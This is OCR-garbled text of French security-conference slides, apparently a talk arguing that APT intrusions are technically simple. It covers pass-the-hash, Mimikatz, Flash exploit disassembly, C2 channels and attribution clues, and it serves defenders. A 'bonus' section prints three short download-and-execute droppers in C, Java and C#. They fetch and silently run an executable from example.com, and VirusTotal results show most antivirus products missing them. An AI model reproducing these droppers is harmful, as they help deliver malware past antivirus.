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Plan

* Les APT* ne sont pas "avancées"
— These
— Antithese
— Bonus
— Vote du public

« * APT: Advanced Persistent Threat

— Synonymes: intrusion ciblée, piratage industriel, vol de
secrets d'état, "attaque d'une complexité redoutable”, etc.



These

LES APT, C'EST ST SIMPLE ...



Les APT, c'est si simple ...
e Un scénario bien rodé

— Contournement du "chateau fort" par intrusion sur un
elément interne

— Collecte de mots de passe
— Contréle du domaine Windows

— Vol et exfiltration des données



Les APT, c'est si simple

* Pourquol ¢a fonctionne si bien ?

— Too Many (Software) Flaws
* Et pas assez de défense en profondeur

— Les mots de passe ne servent a rien



Les APT, c'est si simple
 Probleme #1: "Pass the Hash"

— Il n'est pas nécessaire de connaitre le mot de passe d'un utilisateur
pour s'authentifier a sa place

o Il suffit de connaitre le hash LM ou NTLM de son mot de passe
* Le hash est conservé en mémoire

— Kerberos ne sert a rien

« Tant que LM et NTLM ne peuvent pas étre entierement
désactives

— Les cartes a puce ne servent a rien



Les APT, c'est si simple

Smart cards and multifactor authentication

Multifactor authentication methods, such as smartcards, can greatly enhance the
strength of the proof of the user's identity if the host is secure, but these methods do
not provide immunity from credential theft attacks. While multiple factors are required
for initial logon, the Windows operating system communicates with other domain
computers using standard Kerberos and NTLM authentication protocols that exchange

« Source: "Mitigating Pass-the-Hash (PtH) Attacks and
Other Credential Theft Techniques”

* http://www.microsoft.com/en-us/download/details.aspx?id=36036



Les APT, c'est si simple

* Probleme #2: vol du mot de passe en clair

— By design, le mot de passe est conserve en clair dans la
mémoire pendant toute la durée de la session
utilisateur

* Source: Mimikatz
* http://blog.gentilkiwi.com/mimikatz



Les APT, c'est si simple

4.3.3 Suspicious files

° t h From the results of pattern matching text searches, a list of files was composed that had been present in
coe e ga I I Ia rC e the directory /teurs of the Main-web server over time. The following list of 125 files Is not exhaustive,
as a number of log files appear to have been removed and overwritten and were beyond recovery.
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« Source: rapport d'expertise sur l'intrusion chez DigiNotar

— http://www.rijksoverheid.nl/bestanden/documenten-en-
publicaties/rapporten/2012/08/13/black-tulip-update/black-tulip-update.pdf



http://www.rijksoverheid.nl/bestanden/documenten-en-publicaties/rapporten/2012/08/13/black-tulip-update/black-tulip-update.pdf

Les APT, c'est si simple

* Méme les attaquants font des erreurs !
* http://www.mandiant.com/aptl

* http://www.youtube.com/watch?v=6p7FqgSaveHo

e http://www.youtube.com/watch?v=IhAVf4gjx1M



Antithese

CA SE COMPLIQUE ...



Ca se complique
» Backdoor en .NET

— Anti-analyse statique (obfuscation)
— Anti-analyse dynamique (anti-debug)
— Tres peu d'outils disponibles

e Solution(s)

— SAE (Simple Assembly Explorer)
— WinDbg + SOS
— Cf. autre présentation plus détaillee



Ca se complique
* Fichiers chiffrés

— Microsoft Office essaie par défaut le mot de passe "VelvetSweatshop”
— Adobe Reader essaie par défaut le mot de passe vide

— Tres peu d'outils disponibles
« Méme Microsoft OffVis échoue

e Solution(s)

— "Quick Win": interception de CryptDecrypt() avec IDAPython



Ca se complique

e Creation d'un service

— Le SCM (Service Control Manager) tue tout service qui met plus
de 30 secondes a démarrer

* Interdit le "single step" manuel avec un débogueur dans le
processus

e Solution(s)

— HKLM\SYSTEM\CurrentControlSet\Control\ServicesPipeTimeout



Ca se complique

 Exploitation d'une faille dans Flash Player
— Du travalil de pro

OD126) + 0:1 getlex <g>[public]rlaahk.system::Capabilities

00127) + 1:1 getpropecty <qr[public):iiversion

00128) + 1:1 callproperty <4 [nameapace] hrtp://adobe,cow/AS3/2006/duilvin: icoloverCase, 0 parana 0
00129) + 1:1 pushstring "¥in 10,3,161,23% Test de version
003130) + 2:1 equals

00131) + 1:1 i1ffal== ->501

0D332) + 0:1 geatlex <g>[public]Cflask,syacem: :Capabilicties

00133) + 1:1 getpropecty <g>[public]i:version

00134) + 1:1 callproperty <¢o [nameapace] brop://adobe.com/AS3/2006/builtin: icoLkovecrCase, 0 parana

0013%) + 1:1 push=tring “win 10,),181, 14*%

D0136] 4 2:1 ifne ->398

00137 + 0:1 getlex <gr(public]flash.=y=tem::Capabilities=

OO1368] 4 1:% getproperty <g>[public)::playerType

0013%9) + 1:1 callproperty <g>[nmmespace]http://adobe.com/ASS/2006/builtin: icoloverCase, 0 parans

00140] 4 1:1 pualatring “"activex"™

00141) + 2:1 ifne ->210

GO142) + 0:1 getlocal D

00143) + 1:1 getlocal O

OO144) + 2:1 getproperty <g>[public]:::baseaddr

001485) + 2:%1 pushint 4147083

00146] + 3:1 subtract .

001487 + 2:1 inatproperty <gr[public]iixchg eax esp ret — C d ROP
00348 + 0:1 getlocal 0 OnStrUCtlon u
00148) + 1:1 getlocal O

00150] + 2:3% getpropercy <q>[public)::daseaddr

00181) + 2:1 pushint 3142921



Ca se complique
 Evasion des outils d'analyse

— Constat

 Résolution dynamique des imports avec
GetProcAddress() ...

+ ... puis "CALL [@addr+2]" ???

— Effets

« Contournement des points d'arrét a I'entree de la
fonction

 Crash (certains) outils d'API Hooking



Ca se complique

— Cause

* Les binaires systeme sont compilés avec /HOTPATCH
— http://msdn.microsoft.com/en-us/library/ms173507.aspx

text:7CBO9BEY

text:7CHA9BEY ; BOOL _ stdcall CloseHandle{(HAHDLE hObject)

-text:7CEAO9BEY public CloseHandle@h

-text:7CEA9BEY _CloseHandle@4 proc near ; CODE XREF: BasepLoadLibraryfAsDataFile{x,x,x)+147]p
.text:7CEA9BE7 ; BasepLoadLibraryfsDataFile{x,x,x)+171lp ...
-text:7CBA9BE7

-text:7CEA9BEY hObject = dword ptr 8

-text:7CBO9BE7Y

-text7CRA9BEY ; FUMCTIOH CHUHE AT .text:7C81D3E7 SIZE 6088888A BYTES

-text:7CEO9BEY
-text:7CBO9BEY
-text:7YCBA9BEY

FUMCTION CHUMK AT .text:7C830A42 SIZE O0608023 BYTES
FUHCTIOH CHUHE AT .text:7C839BD? SIZE G0000BOB BYTES

.text:7CBA9BEY 8B FF mow edi, edi
-text:7CEAB9BEY? 55 push ebp
-text:7CEBA9BEA 8B EC mou ebp, esp

-text:7CHA9BEC o4 A1 18 B8+ mouv eax, large fs:i1Bh



Ca se complique

e Quelques canaux de controle "rigolos”

— Commentaire dans une image accedeée toutes les minutes
* Nom identique = remplacement du fichier en cache

— Commentaire HTML dans une page d'erreur 404

— "User-Agent”

— Entétes HTTP "X-*"

— Cookie "de session"

— DNS

* Source(s)
— http://www.cyberesi.com/2011/08/31/364/
— http://www.commandfive.com/papers/C5 APT C2InTheFifthDomain.pdf



http://www.cyberesi.com/2011/08/31/364/
http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf

Ca se complique

o Utilisation de I'API SetFileTime()
— Anti-forensics FTW !

Sets the date and time that the specified file or directory was created, last accessed, or last modified.

Syntax

o+

BOOL WIMAPI SetFileTime(
_In_ HANDLE hFile,
_In opt_ const FILETIME *1pCreationTime,
_In _opt_ const FILETIME *lplLasthAccessTime,
_In opt_ const FILETIME *1plLastlriteTime

)i




Ca se complique

[ ]
[ ) Qu IZZ @ BO4E1800 ; Attributes: bp-based frame

a0401000

004010800 ; int _ stdcall WinMain{HIHSTAHCE hInstance, HINSTANCE hPreuvInstance, LPSTR lpCmdLine, int nShowCnd)
80481800 WinHain@16 proc near

ae4 810800

A8481888 var_ 32E8= byte ptr -32EBh
a8481888 var_32DF= byte ptr -32DFh
88481888 Buffer= byte ptr -118h
88481888 var_C= dword ptr -BCh
ae4@168088 var_8= dword ptr -8

00401800 var_4= dword ptr -4

00401800 hinstance= dword ptr 8
88401800 hPrevInstance= dword ptr BCh
80481800 1pCmdLine= dword ptr 16h
804910808 nShowCnd= dword ptr 14h

ae401000

80481808 push ebp

a8481881 mov ebp, esp
80481083 mov eax, 3Z2EBh
084816888 call __alloca_probe

884818680 push esi

88401 080E push edi

88481 080F push 5} ; time t =
aa4B1811 call

80491816 push eax

ge481817 call store_time

ae4e181c add esp, 8

80481 81F mov [ebp+var_C], offset loc_4B81368
28481826 mov [ebp+var_8], offset loc_4813%58
28481820 mov [ebp+var_4], offset loc_481388

8e4816834 call

a8481839 cdqg

B048163A mov ecx, 3

80468183F idiv ecx

ae401641 call [ebp+ed==y+uar C]




Ca se complique

« Mais aussi ...

— Vol (?) de certificats de signature
— Stockage dans des ADS (Alternate Data Streams)

— Exploitation de faille dans la semaine qui suit le bulletin Microsoft
* ... voire avant la publication sur les cibles plus importantes ?

— Backdoors PlugX, Poison Ivy, (DarkComet), ...
 Taux de detection par les antivirus: 5% (au mieux)



Bonus: attribution

SFX Archive malware.vir

Comment: ; FlAY A FE R & HWEMN A 6 57

Path=%temp%

SavePath
Setup=%temp%\svchost.exe
Silent=1l

Overwrite=1

Update=U




Bonus: attribution

Fegistrant Contact:
jinfei Documents Inc.

john doe [)

Fax:

111 Main 3t

Homwetown, WAL 25003

[}

Administrative
shengzhou Jinfei Technology Co., Ltd.
Jinling Guo [(wehl3add. com)
+56.37156013552
Fax: +56.3715601355:
Mo.2-110, Dongfeng Roac
chengzhou, HEMNAN 450002

I




Bonus: attribution
‘Général | Détails | Chemin d'accés de certification

Chemin d'accés de certification

YeriSign
YeriSign Class 3 Code Signing 2010 CA

winjiang Afudi Information Technolog

Afficher le certificat

Etat du certificat :

Ze certificat est valide,




Bonus: antivirus bashing

(Global Scope) 'I “ main(int arge, char ™ argv(])

S#include <UrlMon.hs
#include <tchar.h>
#include <stdio.h>
#define FILEMAME "malware.exs"

#pragma comment(lib, "urlmon.lib™)

—lint main{int argc, char *argv[])

! if (URLDownloadToFile(®, L"http://example.com/malware.exe™, T(FILEMAME), @, 8) != 5 0OK)
1
printf{"Download FAIL.r\n");
return 1;
¥

WinExec(FILENAME, SW_HIDE);

return 8;

H



Bonus: antivirus bashing

S total

SHAZEG: Tbabba2h35ec994766c13f7dc34592000819c998bbcebd60f7d98efIbT 72672
Mom du fichier : DownloadAndExecute. exe

Ratio de détection: 9/ 45

Date d'analyse : 20130313 15718 UTC (il v a 0 minute)
Plus de détails
Analyse O Informations supplémentaires W Commentaires I3 Votes
Antivirus Resultat

Mise a jour

&



Bonus: antivirus bashing

[J] netjava &3

package adobe.flashplayer; ’ 0
Un code equivalent
= import java.net.URL;

import java.nic.channels.Channels; (mOInS Opt|m|5é) d

import java.nioc.channels.ReadableByteChannel;
import java.io.FileQutputStream;

été trouvé dans une
import java.io.I0Exception; Applet autOS|gnée

public class net {

= public static woid main(String[] args) throws I0Exception {

URL website = new URL{"http://example.com/malware.exe");
ReadableByteChannel rbc = Channels.newChannel (website.openStream());
FileOutputStream fos = new FileOutputStream("malware.exe™);
fos.getChannel().transferFrom{rbc, @8, 1 << 24);

rbec.close();
fos.close();

Runtime.getRuntime().exec("malware.exe™);




Bonus: antivirus bashing

S total

SHAZ56: 54cB97TTEE09719cea27570b0dd52c58a4 155727 03095c89d626352b0699¢
Mom du fichier : DownloadExec_jar
Fatio de détection:  1/44

Date danalyse : 2013-03-13 15:41:43 UTC (il v a 3 minutes)

Plus de détails
Analyse @ Informations supplémentaires W Commentaires I3 Votes

Antivirus Resultat

Mise a jour

@



Bonus: antivirus bashing

Program.cs >

2;:,}[3 DownloadExecuteDotMet.Program | ¥ Main(ztring[] args)

—lusing System;
using System.Text;
using System.Net;

—Inamespace DownloadExecuteDotNet

{

- class Program

{

- static wveid Main(string[] args)

{

using (kebClient Client = new WebClient())

{

Client.DownloadFile("http://example. com/malware.exe™, "malware.exe™);

System.Diagnostics.Process.Start("malware.exe™);




Bonus: antivirus bashing

S total

SHAZAG: a2bf9bd0d0dc 1ebfB3f1d7db1eed 197ae96a0f2fa707de71262d3db92940c9ac
Mom du fichier : DownloadExecuteDotMet exe

Ratio de détection : 0/ 45

Date d'analyse : 2013-03-13 15:25:20 UTC (il v a 3 minutes)
Plus de détails
Analyse O Informations supplémentaires W Commentaires B Votes
Antivirus Reésultat

Mise a jour

@\



Vote du public

CONCLUSION



Conclusion

» Les APT ne sont pas si avanceées ...

e ... mais il ne faut pas prendre les attaquants
pour des jambons non plus

* Que se passera-t-il quand les attaquants
seront plus forts que nous ?



